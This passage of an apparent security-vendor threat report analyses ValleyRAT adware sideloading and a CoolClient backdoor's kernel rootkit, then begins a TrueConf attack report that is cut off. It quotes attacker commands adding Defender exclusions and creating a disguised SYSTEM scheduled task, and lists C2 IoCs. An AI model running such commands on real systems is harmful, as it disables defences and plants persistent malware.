chrome_elf.dll edfdc30cbd85879776b8f735ea7de1f1 Library used to launch Electron-based applications
libcef.dll 07ddbbe2c71c45577a7a4fbcdba0df91 Malicious library
PeLoader 48826d5ca845979d2e6ebd66dc1aae90 File containing the encrypted backdoor
QnWallpaper.exe 6c158c0f8e029342192d4f0d72e102b7 Adware module
QnwPlayer.exe 9a71d6a41cd258b9e89cdc5fc224de73 Adware module
<random string of letters and digits>Nedca.exe c24e99f9437feacaa63766a3cde3fe3d Malicious installer copy

After unpacking, the installer uses the DisableAntiSpyware registry key to disable Windows Defender and then launches QnWallpaper.exe.

Disabling Windows Defender

Disabling Windows Defender

DLL Sideloading via libcef.dll

QnWallpaper.exe has dependencies in libcef.dll, so this library gets loaded when the process starts. QnWallpaper.exe also launches QnwPlayer.exe, which likewise calls libcef.dll.

QnWallpaper and QnwPlayer won’t actually function correctly, because the functions exported from libcef.dll are put into an infinite sleep. However, in case that sleep is ever interrupted, the attackers have implemented a function that loads all the necessary functions from the original library into memory, provided it can locate that library on the system.

Example of an exported function

Example of an exported function

Loading functions from the original libcef.dll

Loading functions from the original libcef.dll

The malicious functionality in libcef.dll is invoked by a call to DllMain, which runs automatically when the library is loaded. That said, alongside the original exports, the library also contains a function named RunDLL, which likewise initiates execution of the malicious code. QnWallpaper never calls this function. We suspect the attackers intended to invoke it manually via rundll32 or planned to use a separate executable for this purpose, one that wasn’t included in the package downloaded by the sample.

The RunDLL function

The RunDLL function

Running the malicious code

When the library is loaded, code runs that ensures QnWallpaper.exe persists at startup: it adds a file extension association and drops a file with the corresponding extension in C:\Documents and Settings\<username>\Start Menu\Programs\Startup\.

This is followed by a chain of wrapper functions whose main job is to call the next one. Execution eventually reaches the function that contains the actual malicious code. For convenience, we’ll refer to it as mw_entry.

Inside mw_entry, the malware checks two things:

  • Whether the current user belongs to the Administrators group
  • Which process the DLL is running inside
Checking for administrator privileges

Checking for administrator privileges

If the user isn’t a member of the Administrators group, the program attempts to obtain administrator privileges by using the runas utility.

Relaunching the process to obtain administrator privileges

Relaunching the process to obtain administrator privileges

Once it has administrator privileges, the malicious code determines which process the DLL has been loaded into, and selects the payload accordingly:

  • If the library is running inside QnWallpaper.exe, the payload is loaded from the PeLoader file.

    Encrypted payload

    Encrypted payload

  • If the library is running inside QnwPlayer.exe, the payload is loaded from libcef.dll resources.

    Retrieving the payload from a resource

    Retrieving the payload from a resource

Both payloads are AES-encrypted DLLs that contain the ValleyRAT backdoor. The only difference between them is their configuration, specifically, the C2 server addresses. After decryption, libcef.dll checks the magic signatures in the resulting PE file’s headers to confirm the sample is valid. If this check fails, the library releases its resources and takes no further action.

Validating the PE file headers after decryption

Validating the PE file headers after decryption

If the headers check out, libcef.dll loads the payload into the process’s memory space and hands control over to the backdoor by calling DllMain.

Calling DllMain

Calling DllMain

ValleyRAT

ValleyRAT begins its operation by parsing its configuration, which consists of key:value pairs concatenated into a single string. To obfuscate this configuration, the attackers wrote the string in reverse.

Obfuscated configuration

Obfuscated configuration

During parsing, the backdoor restores the correct character order and reads the key values one by one. The set of keys is the same regardless of which process the backdoor is running in.

Parsing the configuration

Parsing the configuration

Some of the configuration fields are listed below:

Key Description
p? C2 server IP address
o? C2 server port
t? Protocol (1: TCP, 0: UDP)
dd Sleep duration before executing the main code
cl Sleep duration after receiving the corresponding command from the server
bz Configuration creation date
bh Whether to mark the current process as critical (so that terminating it triggers a blue screen of death) Possible values: 1: yes, 0: no
ll Whether to check for running security/traffic-analysis tools/processes (1: check, 0: do not check)
sh Whether to inject code into svchost that will restart the malicious process (1: inject, 0: do not inject)

The backdoor uses several techniques to protect its process. Some are configuration-dependent, while others are always applied:

  • Injecting code into svchost to restart the process: a configurable option. The backdoor allocates memory inside the svchost process, injects code into it, and sets PAGE_NOACCESS permissions on the memory page containing the injected data. It then creates a suspended thread, waits 60 seconds, grants read, write, and execute permissions on the page, and resumes the thread.
    Injecting code into svchost

    Injecting code into svchost

    The function injected into the process has a single job: restart the backdoor if its execution is interrupted for any reason.

    Injected function

    Injected function

  • Marking its own process as critical (so that terminating it triggers a blue screen of death): a configurable option.

    Setting its own process as critical

    Setting its own process as critical

  • Restarting on an unhandled exception. This protection mechanism is always active, regardless of the backdoor’s configuration.

    Restarting on exceptions

    Restarting on exceptions

The backdoor also has spyware functionality. While running, it tracks keystrokes and the currently focused window by using functions from the DirectInput8 library. It also captures clipboard contents. All collected data is saved to a file on disk.

Capturing clipboard data

Capturing clipboard data

If the ll key in the configuration is set to 1, ValleyRAT periodically checks for active windows belonging to applications that could be used to analyze processes or traffic. Window enumeration is done via the EnumWindows function, using the following callback:

Window name checks

Window name checks

After completing these checks, the backdoor collects system information, including:

  • Host name
  • Host IP addresses
  • User idle time
  • Detailed Windows version information (ProductName, EditionId, DisplayVersion)
  • Number of CPU cores
  • Free disk space
  • Graphics adapter
  • Currently focused window and its title
  • System bitness
  • Language settings
  • Path to the system directory

On command, the backdoor can perform the actions typical of this malware category:

  • Rebooting the computer
  • Shutting down the computer
  • Taking a screenshot
  • Wiping logs
  • Updating its C2 addresses
  • Downloading additional modules
  • Sending keylogger logs along with clipboard contents
Snippet of the command handler

Snippet of the command handler

Let’s take a closer look at the module-loading functionality. Upon receiving the corresponding command with a link from its operator, the backdoor downloads the file at that link and executes it. The download can come from either the C2 server or a third-party address.

The DownloadPeFile function is responsible for downloading a PE file

The DownloadPeFile function is responsible for downloading a PE file

The DownloadAndExecute function calls DownloadPeFile, then launches the downloaded module

The DownloadAndExecute function calls DownloadPeFile, then launches the downloaded module

Additional modules can take the form of purpose-built dynamic libraries or shellcode. If the payload is shellcode, the backdoor uses process hollowing with svchost to launch the module.

Implementation of the process hollowing technique

Implementation of the process hollowing technique

If the module is a dynamic library, the backdoor loads the PE file into its own process, calls DllMain, and searches for a Main function among the exported functions. Once Main has been called, the library is unloaded from memory.

Calling DllMain after the backdoor loads the PE file

Calling DllMain after the backdoor loads the PE file

Targets and attribution

Over the course of 2026, we detected the ValleyRAT backdoor and its associated malware more than 100,000 times, with more than 1500 unique users affected, primarily in China and India.

This attack geography, combined with the use of the ValleyRAT backdoor, points to Silver Fox, a known operator of this malware family, as the likely group behind the campaign.

Conclusion

This case is a clear example of how adware and affiliate networks can turn out to be far more dangerous than they appear. ValleyRAT is a sophisticated backdoor capable of collecting sensitive data such as keystrokes and clipboard contents, taking screenshots, and delivering additional malicious modules. The attackers exploited a well-known adware application to run the backdoor under the guise of a signed process, which complicates detection.

Motivated by both cyberespionage and financial gain, Silver Fox targets organizations across multiple countries. To stay protected, organizations should keep employee cybersecurity awareness up to date and enforce clear policies on the use of third-party software on work devices.

For individual users, we recommend avoiding the installation of software with a questionable reputation, and, even more importantly, never adding such software to your security solutions’ exclusion lists.

IoC

MD5

07ddbbe2c71c45577a7a4fbcdba0df91
c24e99f9437feacaa63766a3cde3fe3d
8a626d844943da3456b044f38deae3a2

Network

103.45.66.18:441
103.45.66.18:442
103.45.66.18:443
192.253.225.173:6666
192.253.225.173:8888

  •  

APT group HoneyMyte upgrades CoolClient: the backdoor gets a kernel-level Windows rootkit

Introduction

CoolClient is a backdoor family attributed to the HoneyMyte APT group (also known as Mustang Panda) that has been used in their cyber-espionage campaigns targeting organizations across Asia and Russia. It supports such capabilities as keylogging, clipboard theft, credential harvesting, file management, system reconnaissance, and plugin-based extensions.

Since its first public disclosure by Sophos in 2022 and subsequent analysis by Trend Micro in 2023, CoolClient has continued to evolve. In 2025, we analyzed a newer variant that introduced clipboard theft and HTTP traffic interception for credential harvesting.

In late 2025 and 2026, our latest investigation reveal another major evolution. The newest CoolClient variant can deploy a signed kernel-mode driver as a Windows service and communicate with it through IOCTL requests. The driver enhances the malware’s stealth by hiding the CoolClient process, protecting related files and registry entries, and preventing them from being inspected or modified. The overall design is comparable to the kernel-mode enhancements previously observed in ToneShell, but the CoolClient driver exposes dedicated IOCTL handlers that allow the user-mode backdoor to communicate directly with the driver.

We have observed this updated CoolClient variant and its accompanying driver in intrusions across multiple countries in Asia, including Pakistan, Mongolia, and Myanmar.

Technical analysis

In the observed campaign targeting Myanmar, HoneyMyte used PlugX as the initial post-compromise implant to deploy the CoolClient components. Before deploying the malware, the actor added both a folder exclusion and a file exclusion to Microsoft Defender for the fake Windows Defender installation directory and the renamed sideloader executable (defender.exe).

wmic /Node:localhost /Namespace:\\Root\Microsoft\Windows\Defender Path MSFT_MpPreference call Add ExclusionPath="$programfiles\Microsoft\Windows Defender"
wmic /Node:localhost /Namespace:\\Root\Microsoft\Windows\Defender Path MSFT_MpPreference call Add ExclusionPath="$programfiles\Microsoft\Windows Defender\defender.exe"

The actor then created a fake Windows Defender installation directory, copied the CoolClient components into it, and renamed a legitimate Sangfor executable, usually named Sang.exe, to defender.exe to serve as the DLL sideloader.

xcopy "$programfiles\Windows Defender\*" "$programfiles\Microsoft\Windows Defender" /a /s /v /e /f

Persistence was established through a scheduled task that launched defender.exe with SYSTEM privileges during system startup.

schtasks /create /sc onstart /tn "\Microsoft\Windows\Windows Defender Advanced Threat Protection Service" /tr "\"$programfiles\Microsoft\Windows Defender\defender.exe\"" /ru "system" /F

When executed, defender.exe sideloads the malicious libngs.dll, initiating the CoolClient execution chain described in the following sections.

CoolClient components

Similar to previous variants, the latest CoolClient user-mode component follows a multi-stage execution chain, with each component performing a distinct role during execution.

Component Description
defender.exe / Sang.exe Legitimate Sangfor application abused for DLL sideloading
libsrapc.dll Benign dependency required for the Sangfor application to execute normally
libngs.dll First-stage loader that decrypts and loads the next stage into memory (First stage)
loadcert.ini Encrypted DLL implementing the core CoolClient functionality, including command handling, process injection, driver deployment, and persistence (Second stage)
cert.ini Final-stage implant responsible for C2 communication and backdoor functionality (Final stage)
time.ini CoolCleint configuration file

Our previous CoolClient analysis focused primarily on the final-stage implant (main.dat), including its backdoor commands and plugin framework, while the first-stage loader (libngs.dll) and second-stage component (loader.dat) received only a brief overview. In the latest variant CoolClient, loader.dat and main.dat have been renamed to loadcert.ini and cert.ini, respectively. This article revisits those earlier stages, focusing on the second-stage component and the newly introduced kernel-mode driver that extends CoolClient with rootkit capabilities.

 

Overview of the new variant of CoolClient

First stage: libngs.dll

Execution begins when the legitimate Sangfor application (defender.exe or Sang.exe) loads the malicious libngs.dll through DLL sideloading. As in previous CoolClient variants, the malware continues to abuse the same Sangfor application to execute its first-stage loader.

To make the DLL appear legitimate, libngs.dll exports numerous dummy functions. Each export simply calls OutputDebugStringA with its corresponding function name before immediately invoking ExitProcess, serving no functional purpose other than mimicking the expected export table of the legitimate DLL.

Dummy export functions in libngs.dll invoking OutputDebugStringA and ExitProcess

Dummy export functions in libngs.dll invoking OutputDebugStringA and ExitProcess

The actual malicious logic is executed from DllMain (DllEntryPoint). Although heavily obfuscated through control flow flattening and numerous unconditional jumps, the routine ultimately performs a straightforward task: loading, decrypting, and executing the encrypted second-stage DLL, loadcert.ini.

The loader resolves the required Windows APIs, reads loadcert.ini into memory, and decrypts it using a 0x32-byte repeating XOR keystream derived from a transformed seed value of 0xA4. After decryption, the DLL is loaded directly into memory, and execution is transferred to loadcert.ini.

Second stage: loadcert.ini (before synchost.exe injection)

The second-stage DLL, loadcert.ini, is responsible for preparing the execution environment before the malware transitions into its injected process. It first determines its execution context by checking whether the current module is synchost.exe.

If the DLL is running under the original sideloaded process (for example, Sang.exe), it performs the initial setup, including persistence, UAC bypass, registry modifications, and process injection.

If the DLL is already executing inside synchost.exe, it follows a different execution path that decrypts time.ini, deploys the kernel-mode driver, and loads the final-stage implant (cert.ini).

Command handler

The command handler remains largely unchanged from previous CoolClient variants, with one notable difference: the malware now injects into synchost.exe instead of write.exe.

Execution is controlled through three command-line parameters:

Parameter Purpose
install Performs the initial setup, including persistence, privilege checks, and preparation for the injected execution path.
work Executes the primary second-stage functionality from the injected synchost.exe process, including driver deployment and third-stage loading.
passuac Continues execution after privilege elevation.

If no parameter is supplied, the malware creates a new Sang.exe process with the install parameter using CreateProcessW.

Establishing AutoRun persistence

When executed with the install parameter, CoolClient creates an AutoRun entry under:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

The registry value, named goopdate, launches Sang.exe (or defender.exe, depending on the deployment) with the work parameter whenever the user logs on.

Process injection into synchost.exe

Upon establishing the AutoRun registry entry, CoolClient decrypts loadcert.ini using a 0x32-byte repeating XOR keystream derived from the hardcoded base key 0x4D.

The decrypted DLL is then injected into a newly created suspended instance of synchost.exe. The malware allocates memory in the target process, writes the decrypted payload, redirects the thread context to the injected code, resumes execution, and finally terminates the original process with ExitProcess.

From this point onward, execution continues entirely within synchost.exe, where the malware proceeds with kernel-mode driver deployment before loading the final-stage implant (cert.ini).

Service installation

When executed with the install parameter, CoolClient establishes an additional persistence mechanism by installing itself as a Windows service. Before doing so, it verifies that it has sufficient access to the Service Control Manager and that no 360 Total Security software processes (360sd.exe, zhudongfangyu.exe, or 360desktopservice64.exe) are running.

Function to check for running 360 security software processes

Function to check for running 360 Total Security software processes

If both checks succeed, the malware decrypts time.ini to retrieve the service configuration, including the service name and description. It then checks whether the service media_updaten already exists. If found, the existing service is stopped and deleted before a new one is created.

The new service is configured to execute Sang.exe<.code> with the work parameter using CreateServiceA. The malware then starts the service by executing "sc start media_updaten" via WinExec.

Administrator privilege check

If the service installation path is not taken, CoolClient checks whether the current process is running with administrator privileges by verifying membership in the local Administrators group.

When administrative privileges are available, the malware relaunches itself with the passuac parameter before continuing with the remaining execution flow.

Elevated relaunch and UAC bypass

To continue execution with elevated privileges while concealing its true parent process, CoolClient implements an RPC-based process creation technique similar to the method described by Google Project Zero. The technique combines RPC process creation with parent process ID (PPID) spoofing to launch a new elevated instance of itself.

The malware first checks for the presence of escanmon.exe. If the process is running, it constructs the path to C:\Windows\System32\winver.exe and establishes a connection to the local ncalrpc endpoint (201ef99a-7fa0-444c-9399-19ba84f12a1a). It then invokes NdrAsyncClientCall to launch winver.exe through the RPC interface.

Authenticated RPC binding used during the RPC-based UAC bypass

Authenticated RPC binding used during the RPC-based UAC bypass

After winver.exe is created, CoolClient retrieves its debug object using NtQueryInformationProcess, detaches the debugger through NtRemoveProcessDebug, and terminates the process. The obtained debug object is later reused during the remainder of the UAC bypass routine.

Next, the malware repeats the same RPC-based process creation technique to launch computerdefaults.exe. It associates the previously obtained debug object with the current thread using DbgUiSetThreadDebugObject, waits for the resulting process creation event through WaitForDebugEvent, and duplicates the process handle using NtDuplicateObject, obtaining a handle with full access rights.

Finally, CoolClient relaunches itself as Sang.exe passuac using CreateProcessW with an extended startup attribute list. By configuring PROC_THREAD_ATTRIBUTE_PARENT_PROCESS through UpdateProcThreadAttribute, the duplicated process handle is assigned as the parent of the new process. As a result, the new Sang.exe passuac instance executes with an elevated context while appearing to have been spawned by the trusted Windows process instead of the original CoolClient process.

Second stage: loadcert.ini (Injected Execution)

After being injected into synchost.exe, loadcert.ini follows its injected execution path, where it deploys the kernel-mode driver and launches the final-stage implant (cert.ini). If administrative privileges are unavailable, the malware skips driver deployment and proceeds directly to the third-stage injection.

Kernel-Mode driver deployment

The deployment routine begins by decrypting time.ini. CoolClient then verifies that it has sufficient privileges to install a kernel-mode driver by checking for full access to the Service Control Manager (SCM) and the presence of SeTcbPrivilege.

If both conditions are met, CoolClient extracts an embedded LZMA-compressed driver from loadcert.ini, decompresses it, and writes it to disk as msagent.sys in the same directory as cert.ini, for example:

C:\Program Files\Microsoft\Windows Defender\msagent.sys

Next, the malware checks whether a service named msagent already exists. If present, the existing service is stopped and deleted before a new driver service is created and started, loading the kernel-mode component into the operating system.

Driver initialization

After the driver is loaded, CoolClient establishes communication with it by opening the device \\.\msagent using CreateFileW. The user-mode component then initializes the driver by issuing three DeviceIoControl requests.

IOCTL Purpose
0x222120 Registers the current CoolClient process with the driver.
0x2221E0 Sends the configured C2 IPv4 address to the driver.
0x2220F0 Registers filesystem and registry paths that should be protected or hidden.

The first request (0x222120) registers the current CoolClient process as a trusted process within the driver. The request includes the process ID, an operation code, and a flag that marks the process as trusted, allowing it to interact with protected files, registry keys, and processes.

The second request (0x2221E0) passes the configured C2 IPv4 address extracted from time.ini.

Finally, 0x2220F0 registers the CoolClient installation directory (for example, C:\Program Files\Microsoft\Windows Defender\) together with the service registry path (\Registry\Machine\SYSTEM\CurrentControlSet\Services\media_updaten). These entries allow the driver to protect the malware’s files and registry objects from inspection, modification, and deletion.

As part of the initialization, CoolClient updates the HKLM\SYSTEM\RNG\Wid_H1deF5Dirs registry value by appending its installation directory if it is not already present. This registry value is later used by the driver when applying its hiding and protection mechanisms.

The implementation of these IOCTL handlers and the corresponding driver functionality are discussed in the msagent.sys section.

Cert.ini process injection

Once the driver has been initialized, CoolClient proceeds to launch the final-stage implant (cert.ini). Before creating the target process, the malware enumerates active WinStation sessions to identify a suitable interactive user session.

After selecting a session, CoolClient duplicates its access token, updates the session identifier, and creates a new synchost.exe process using CreateProcessAsUserA. The decrypted cert.ini DLL is then injected into the suspended process using the same memory allocation, thread context modification, and ResumeThread technique described earlier.

This marks the final transition in the execution chain, where the third-stage implant takes over C2 communication and the remaining backdoor functionality.

Msagent.sys driver

Analysis of the deployed kernel-mode driver reveals an embedded PDB path:

PDB Path

PDB Path


E:\work\南京实验室\2024项目\张雪杰云南m\研发\FTool\Tool\x64\Release\FTool.pdb

The path contains several notable strings, including “Nanjing Laboratory” (南京实验室) and “Zhang Xuejie Yunnan m” (张雪杰云南m), which likely refer to the driver’s development environment. However, our OSINT analysis did not identify any information linking these strings to a known organization, developer, or threat actor.

The driver is digitally signed with a certificate issued to "Nanjing Ranyi Technology Co., Ltd.", with serial number 3E 62 DC 5D 8D 61 2A 26 33 E7 6B DF D6 07 19 DD. The certificate was valid from August 2013 to September 2014.

We identified several older malicious drivers signed with the same certificate that were compiled around 2013. However, we found no evidence directly linking those samples to the CoolClient activity described in this article.

Driver configuration

During initialization, the driver loads its stealth configuration from the registry key \REGISTRY\MACHINE\SYSTEM\RNG. The configuration defines which system objects should be hidden or protected and controls the driver’s operating mode.

Registry configuration loaded by the driver during initialization

Registry configuration loaded by the driver during initialization

Two REG_DWORD values control the driver’s operating mode:

Registry Value Default Description
Hid_State 1 Enables the driver’s rootkit functionality.
Hid_StealthMode 0 Controls additional stealth features used by selected driver routines.

In addition, the driver loads several REG_MULTI_SZ values that define the objects to be hidden or protected.

Registry Value Purpose
Wid_H1deF5Dirs Directories to hide
Wid_H1deF5Files Files to hide
Wid_H1deRegKeys Registry keys to hide
Wid_H1deRegValues Registry values to hide
Hid_IgnoredImages Processes to ignore
Hid_ProtectedImages Processes to protect

Together, these registry values determine which filesystem paths, registry objects, and processes are managed by the driver’s protection mechanisms.
After loading the configuration, the driver converts the registry entries into internal lookup structures that are shared across its various protection components.

These structures are later referenced by the filesystem minifilter, registry callback, process callback, object callback, image load callback, and IOCTL handlers to determine whether a file, registry object, or process should be hidden, protected, or ignored.

Preparation for process hiding

Next, the driver dynamically locates the ActiveProcessLinks (LIST_ENTRY) field within the EPROCESS structure instead of relying on hardcoded offsets. It first validates several predefined offsets and, if none match, performs a linear scan of the EPROCESS structure to identify the correct location. This approach allows the driver to remain compatible across different Windows versions, where the layout of EPROCESS may differ.

The driver validates candidate ActiveProcessLinks layouts before enabling process hiding

The driver validates candidate ActiveProcessLinks layouts before enabling process hiding

Once the correct offset has been identified, it is stored for later use by the process hiding routines. During process hiding and restoration, the driver uses IOCTLs 0x22219C and 0x2221A0 to unlink and relink entries in the Windows active process list, effectively hiding or restoring processes on demand.

Process, object, and image load callbacks

After preparing its process tracking structures, the driver initializes several AVL trees and populates them with configuration entries loaded from the registry, including Wid_H1deF5Dirs, Wid_H1deF5Files, Wid_H1deRegKeys, Wid_H1deRegValues, Hid_IgnoredImages, Hid_ProtectedImages, and Hid_HideImages.

These AVL trees provide efficient lookups for protected files, registry objects, and tracked processes, and are shared by the callback routines and IOCTL handlers.
The driver then registers three types of kernel callbacks that form the foundation of its protection and monitoring mechanisms:

  • Object callbacks using ObRegisterCallbacks
  • Process creation and termination callbacks using PsSetCreateProcessNotifyRoutineEx
  • Image load callbacks using PsSetLoadImageNotifyRoutine
Registration of object, process, and image load callbacks during driver initialization

Registration of object, process, and image load callbacks during driver initialization

After registration, these callbacks maintain the driver’s internal tracking structures as processes, threads, and images are created or loaded.

Object callbacks

To protect selected processes, the driver registers object callbacks for process (PsProcessType) and thread (PsThreadType) objects using ObRegisterCallbacks with an altitude of 1203. These callbacks intercept requests to open process and thread handles. If the target process is protected, the driver reduces the access rights granted to the requesting process, preventing operations such as process termination, code injection, and other forms of process manipulation. In this sample, the protected process is the injected CoolClient code running inside synchost.exe.

Process and image load callbacks

The driver registers process creation and termination callbacks using PsSetCreateProcessNotifyRoutineEx, together with an image load callback via PsSetLoadImageNotifyRoutine.

When a process is created, its image name is compared against the configuration lists Hid_IgnoredImages, Hid_ProtectedImages, and Hid_HideImages. Matching processes are added to the driver’s internal tracking structures, allowing them to be protected, hidden, or managed through subsequent IOCTL requests. When a tracked process terminates, its entry is removed from the tracking structures.

The image load callback monitors modules loaded into tracked processes and updates the driver’s internal state to support subsequent protection and hiding operations.

To ensure that processes already running before the driver is initialized are also tracked, the driver performs a one-time enumeration of all active processes after registering the callbacks and adds any matching processes to the tracking structures.

MiniFilter registration

To protect files and directories, the driver registers a filesystem minifilter. During initialization, it creates internal path filter lists, loads the configured directory and file entries (Wid_H1deF5Dirs and Wid_H1deF5Files), and creates the required minifilter registry entries under HKLM\SYSTEM\CurrentControlSet\Services\msagent\Instances. To avoid altitude conflicts, the driver dynamically assigns a filter altitude and retries registration until a unique value is obtained.

Retrying minifilter registration with incrementing filter altitude values until FltRegisterFilter succeeds

Retrying minifilter registration with incrementing filter altitude values until FltRegisterFilter succeeds

The driver then activates the minifilter using FltRegisterFilter. The filter works together with the IOCTL interface, which dynamically adds, removes, or clears protected path entries (0x2220F0, 0x2220F4, and 0x2220F8). During filesystem operations, the minifilter compares accessed paths against its internal path lists and denies access to matching entries, effectively hiding protected files and directories from users and applications.

Registry callback registration

To protect registry keys and values, the driver registers a registry callback using CmRegisterCallbackEx with an altitude of 320000. During initialization, it creates separate lookup structures for protected registry keys and values, then populates them using the configured entries from Wid_H1deRegKeys and Wid_H1deRegValues.

Registration of the registry callback using CmRegisterCallbackEx with an altitude of 320000

Registration of the registry callback using CmRegisterCallbackEx with an altitude of 320000

Once registered, the callback intercepts registry operations and compares the target key or value against the protected entries. For enumeration requests, matching keys and values are removed from the results before they are returned to user mode, effectively hiding them from registry viewers. For direct access requests, such as opening, modifying, or deleting protected registry objects, the callback returns STATUS_ACCESS_DENIED, preventing the operation.

Before applying these restrictions, the driver verifies whether the requesting process is trusted. Processes registered through IOCTL 0x222120, including the CoolClient user-mode component, bypass the filtering logic and retain unrestricted access, while all other processes remain subject to the driver’s registry protection rules.

IOCTL command dispatcher

To communicate with the user-mode component, the driver creates a device object named \Device\ToolTool together with the symbolic link \DosDevices\ToolTool to allow the user-mode CoolClient component to communicate with the driver through DeviceIoControl requests.

The driver implements 33 IOCTL handlers, although the analyzed CoolClient sample uses only three during normal execution:

  • 0x222120: registers the current CoolClient process with the driver.
  • 0x2221E0: passes the configured C2 IPv4 address.
  • 0x2220F0: registers filesystem and registry paths for protection.

The remaining IOCTL handlers were not invoked by the analyzed sample.

IOCTL Handler Functionality
0x222000 0x140001E04 Enable or disable the rootkit.
0x222004 0x1400020B0 Query the current rootkit state.
0x2220F0 0x140002320 ●       Register protected filesystem or registry paths
●       Used by CoolClient to register its installation directory and service registry key.
0x2220F4 0x1400034DC Remove a protected filesystem or registry path.
0x2220F8 0x140003464 Clear all protected filesystem and registry path entries.
0x222118 0x1400024B0 Register process or path protection entries.
0x22211C 0x140002A20 Query registered protection entries.
0x222120 0x140003794 Update process protection entries. Used by CoolClient to register itself as a trusted process.
0x222124 0x14000362C Remove a protection entry.
0x222128 0x14000349C Clear all process protection entries.
0x222130 0x14000265C Register a protected process by PID.
0x222134 0x140010E88 Inject shellcode into a target process using NtCreateThreadEx.
0x222138 0x14000F498 Hide a kernel module by unlinking it from PsLoadedModuleList.
0x222144 0x14000270C Delete a file.
0x222148 0x14000286C Decrypt an embedded buffer and write it to disk.
0x22214C 0x1400027F4 Read and decrypt an encrypted file.
0x222168 0x140002780 Unmap the image section of a target process.
0x22216C 0x140013984 Terminate a process by PID.
0x222194 0x140011F50 Remove Protected Process Light (PPL) protection.
0x222198 0x140002940 Create or modify a registry value.
0x22219C 0x140010630 Hide a process by unlinking it from the active process list.
0x2221A0 0x140010670 Restore a previously hidden process.
0x2221A4 0x14000F8A0 Hide a module within a process.
0x2221A8 0x14000F954 Restore a hidden module.
0x2221AC 0x140016368 Enumerate and restore kernel notification callbacks.
0x2221B0 0x140016458 Disable or restore kernel notification callbacks.
0x2221B4 0x140012408 Manually load a secondary kernel driver.
0x2221B8 0x14001262C Debug/test handler.
0x2221BC 0x1400165F6 Write to an arbitrary kernel address.
0x2221C0 0x14000BB00,  0x14000BB78 Enables deny-rootkit mode by registering image-load monitoring and enabling the patching logic.
0x2221C4 0x14000BB6C,  0x14000BB10 Disables deny-rootkit mode by clearing state and unregistering/removing the monitoring logic.
0x2221E0 0x1400126C0 Register a C2 IPv4 address.
0x2221E4 0x140012E50 Delete a C2 IPv4 address.

After initializing the IOCTL dispatcher, the driver releases the temporary configuration buffer that was previously loaded from \REGISTRY\MACHINE\SYSTEM\RNG.

Kernel module enumeration and hiding

To support kernel module hiding, the driver resolves the address of the non-exported kernel variable PsLoadedModuleList at runtime using MmGetSystemRoutineAddress. This global linked list maintains information about all loaded kernel modules and drivers, allowing the rootkit to enumerate and manipulate module entries.

Driver initialization routine resolving the address of PsLoadedModuleList for subsequent kernel module hiding

Driver initialization routine resolving the address of PsLoadedModuleList for subsequent kernel module hiding

This functionality is exposed through IOCTL 0x222138, which accepts a module name or path from the user-mode component. When a matching module is found, the driver locates the corresponding entry in PsLoadedModuleList and unlinks it by updating its Flink and Blink pointers. As a result, the hidden module no longer appears in standard kernel module enumeration routines.

Nsiproxy hooking and data filtering

The driver also hooks the Nsiproxy driver to filter network-related data returned to user mode. This functionality is connected to IOCTL 0x2221E0, which allows the user-mode component to register C2 IPv4 addresses with the driver.

To install the hook, the driver obtains a reference to \Driver\Nsiproxy using ObReferenceObjectByName and replaces one of the Nsiproxy handler pointers with its own filtering routine. The hook preserves the original handler and forwards execution after processing the returned data.

Installing the Nsiproxy hook by resolving \Driver\Nsiproxy and replacing the original handler with the driver's filtering routine

Installing the Nsiproxy hook by resolving \Driver\Nsiproxy and replacing the original handler with the driver’s filtering routine

When the hooked routine processes network information, the driver compares the returned entries against its registered C2 address list. Matching IP addresses are removed before the data is returned to user mode, preventing applications that rely on Nsiproxy-provided network information from seeing the malware’s C2 addresses.

Finally, the driver registers a DriverUnload routine to release allocated resources when the driver is unloaded.

Victimology

The latest CoolClient variant continues to target organizations consistent with previously observed HoneyMyte activity. Based on our investigations, we identified victims in Myanmar, Mongolia, Pakistan, and Russia, including confirmed government entities.

Across the observed intrusions, CoolClient was consistently deployed as a secondary backdoor following a PlugX infection, indicating that HoneyMyte continues to use PlugX as its initial post-compromise implant before transitioning to CoolClient.

Attribution

Our analysis confirms that the investigated malware is a new CoolClient variant associated with the HoneyMyte threat group. While the overall execution flow remains consistent with previously documented CoolClient variants, this sample introduces a previously undocumented kernel-mode driver that significantly expands the malware’s stealth capabilities.

The deployment chain observed in this investigation is also consistent with previous HoneyMyte campaigns, in which PlugX serves as the initial foothold before CoolClient is deployed as a secondary backdoor, further reinforcing the attribution.

Conclusion

The latest CoolClient variant represents a significant evolution of the malware. Rather than operating solely as a user-mode backdoor with plugin support, it now deploys and communicates with a kernel-mode driver that extends its capabilities beyond earlier versions. Through this driver, CoolClient can hide and protect processes, files, and registry objects, as well as filter selected network information, making detection and analysis considerably more difficult.

HoneyMyte has previously introduced kernel-mode functionality in ToneShell. The addition of a kernel-mode driver to CoolClient suggests that the group continues to expand its use of rootkit capabilities to improve stealth, persistence, and defense evasion during post-compromise operations.

IOCs

2d7c8780e97409770a9d4f31c66c9d63 msagent.sys
9460E150E1981D5C165043520C5C12FE msagent.sys
9717F005C5FB98E08D2AD983D88F94EE libngs.dll
F518D8E5FE70D9090F6280C68A95998F libngs.dll
EB79558B037669792652A816E2C669DE ctxmui.dll

C:\Program Files\microsoft\windows defender\
C:\Program Files\windows media player\mediares\
C:\ProgramData\symantecdir\
C:\ProgramData\virtualstore\
C:\Windows\identitycrl\production\
C:\Windows\serviceprofiles\networkservice\
C:\Users\<user>\AppData\Local\viber24.8\
C:\Users\<user>\AppData\Roaming\dsassistant\
C:\Program Files\common files\microsoft shared\office14\
C:\programdata\msdn\

cloudtroe.giize[.]com
employers.theworkpc[.]com
freeread.casacam[.]net
us.lenovoappstore[.]com
sundanish.freeddns[.]org
torinarlabs.webredirect[.]org
news.dursamjbataar[.]org
video.dursamjbataar[.]org
black-popular[.]com
whatismybestthing[.]com

  •  

Head Mare APT is exploiting vulnerabilities in an unpatched TrueConf server to deliver PhantomCore and PhantomGraph to video conference participants

Overview of the attack

In July 2026, Kaspersky experts detected a new attack by the Head Mare group. Previously, we classified them as hacktivists, but now we define them as an APT group due to the sophistication of their TTPs and the absence of destructive activity (encryption, wiping) in the targeted infrastructures. In this latest campaign, the attackers exploited a chain of vulnerabilities in the TrueConf video conferencing server and replaced the original TrueConf client installers with infected versions that installed the PhantomCore malware on the system.

An investigation of the compromised server revealed that the attackers used a combination of two new vulnerabilities (assigned the internal identifiers KLCERT-26-057 and KLCERT-26-058), allowing them to execute arbitrary code with the highest privileges.

The attack occurs in several stages:

